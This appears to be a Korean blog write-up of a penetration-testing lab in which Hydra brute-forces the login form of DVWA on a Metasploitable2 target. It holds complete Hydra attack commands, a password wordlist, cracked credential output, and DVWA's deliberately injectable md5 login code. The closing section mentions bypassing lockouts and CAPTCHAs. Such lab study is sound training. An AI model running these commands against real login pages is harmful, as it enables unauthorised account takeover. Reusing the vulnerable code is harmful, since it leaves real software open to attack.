[웹 모의해킹] Brute Force1 - 무차별 대입 공격 실습 (Hydra)
이번 실습은 DVWA에서 제공하는 Brute Force 취약점을 대상으로 Hydra 도구를 활용해 무차별 대입 공격 (Brute Force Attack)을 수행하였다. Metasploitable2 환경에서 DVWA를 설정하고, Kali Linux에서 공격을 진행하였다.
1. 실습 환경
- 공격자 : Kali Linux
- Target : Metasploitable2 (DVWA 설치)
- 공격 도구 : Hydra
- DVWA 주소 : http://target_ip/dvwa/vulnerabilities/brute/
- DVWA 보안 레벨 : low
2. [Step 1] DVWA의 Brute Force 취약점 분석
관련 소스 코드 확인
Target 서버에 접근하여 로그인 로직이 있는 PHP 코드를 확인하였다.
if( isset( $_GET['Login'] ) ) {
$user = $_GET['username'];
$pass = $_GET['password'];
$pass = md5($pass);
$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
$i=0;
$avatar = mysql_result( $result, $i, "avatar" );
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
echo "<pre><br>Username and/or password incorrect.</pre>";
}
mysql_close();
}
=> 로그인 시 password 값은 md5()로 해싱되어 비교되므로, 이를 고려한 접근이 필요하다.
3. [Step 2] 공격 대상 디렉터리 구조 확인
vncviewer target_ip 주소
3. [Step 3] 비밀번호 사전 파일 구성
공격에 사용할 비밀번호 리스트 (passwords.txt)는 github에서 passwords 리스트를 들고 와서 다음과 같이 구성하였다.
=> 사진의 passwords는 일부만 캡처한 사진이다.
tivonpw
tj1234
tlah
tmp123
tokiohotel
tomcat
tommy
tony
toor
tootsite
topgun
toplayer
topsecret
toptop
tornado
torres
toshy99
admin
totototo
touchpwd=
tour
toyota
tr650
password
...
4. [Step 4] Hydra를 이용한 공격 수행
Hydra
Hydra는 다양한 네트워크 서비스를 대상으로 무차별 대입 공격 (Brute Force Attack)을 수행할 수 있는 강력한 도구이다.
HTTP, FTP, SSH, RDP 등 수십 가지 프로토콜을 지원하며, 사용자명 및 비밀번호 조합을 빠르게 테스트할 수 있다.
단일 사용자 (admin)에 대한 공격
hydra -l admin -P passwords.txt \
"http-get-form://xxx.xxx.xxx.xxx/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie:security=low;PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:F=Username and/or password incorrect." -V
- -l admin : 고정 사용자 이름 설정
- -P passwords.txt : 비밀번호 사전 파일 지정
- http-get-form://... : 대상 웹 로그인 폼 URL
- H= : 쿠키 설정 (보안 레벨 low + 세션 유지)
- F= : 실패 메세지를 기준으로 성공 여부 판단
- -V : 상세한 진행 상황 출력
결과 출력
[80][http-get-form] host: 192.168.248.139 login: admin password: password
1 of 1 target successfully completed, 1 valid password found
=> admin 계정의 유효한 비밀번호로 password가 탐지되었다.
5. [Step 5] 사용자 리스트 기반 무차별 대입 공격
앞서 /var/www/dvwa/hackable/users/ 경로에서 아래와 같은 사용자 계정을 확인하였다.
admin
pablo
gordonb
smithy
1337
위 계정들을 username.txt 파일로 저장하고,
이전에 구성한 passwords.txt 파일과 함께 전체 사용자에 대한 Brute Force 공격을 수행하였다.
사용자 리스트 + 비밀번호 리스트 조합 공격
hydra -L username.txt -P passwords.txt \
"http-get-form://xxx.xxx.xxx.xxx/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie:security=low;PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:F=Username and/or password incorrect." -V
- -L username.txt : 사용자 계정 리스트 파일
- -P passwords.txt : 비밀번호 리스트 파일
- 그 외 옵션은 [Step 4]와 동일
공격 결과
Hydra는 다음과 같은 유효한 로그인 조합을 탐지하였다.
[80][http-get-form] host: xxx.xxx.xxx.xxx login: admin password: password
[80][http-get-form] host: xxx.xxx.xxx.xxx login: pablo password: letmein
[80][http-get-form] host: xxx.xxx.xxx.xxx login: gordonb password: abc123
[80][http-get-form] host: xxx.xxx.xxx.xxx login: smithy password: password
=> 1337 계정은 비밀번호 리스트 내에 일치하는 값이 없어 실패하였다.
6. 자리 표시자 정리
Hydra 명령어에서 사용된 주요 자리 표시자는 다음과 같다
자리표시자 | 설명 |
^USER^ | 사용자명 |
^PASS^ | 비밀번호 |
^HOST^ | 대상 IP |
^COOKIE^ | 세션 쿠키 값 |
^FORM^ | 로그인 폼 파라미터 |
F= | 실패 시 출력되는 문구 |
7. 마무리
- Hydra 도구를 통해 단일 사용자(admin) 또는 사용자 리스트 전체에 대해 무차별 대입 공격이 가능함을 확인하였다.
- 공격 대상 페이지의 소스 코드를 통해 md5()로 해시된 비밀번호를 사용하는 것을 확인했고, 이는 보안상 매우 취약한 구조임을 실습을 통해 체감할 수 있었다.
- F= 파라미터를 통해 로그인 실패 문구를 기준으로 Hydra가 성공/ 실패를 자동 판별하는 방식도 이해하였다.
- 실제 환경에서는 계정 잠금, 캡챠, 타임 딜레이 등의 방어 기능이 존재하므로 이를 우회하거나 우회 가능 여부를 분석하는 능력도 중요하다는 것을 깨달을 수 있었다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.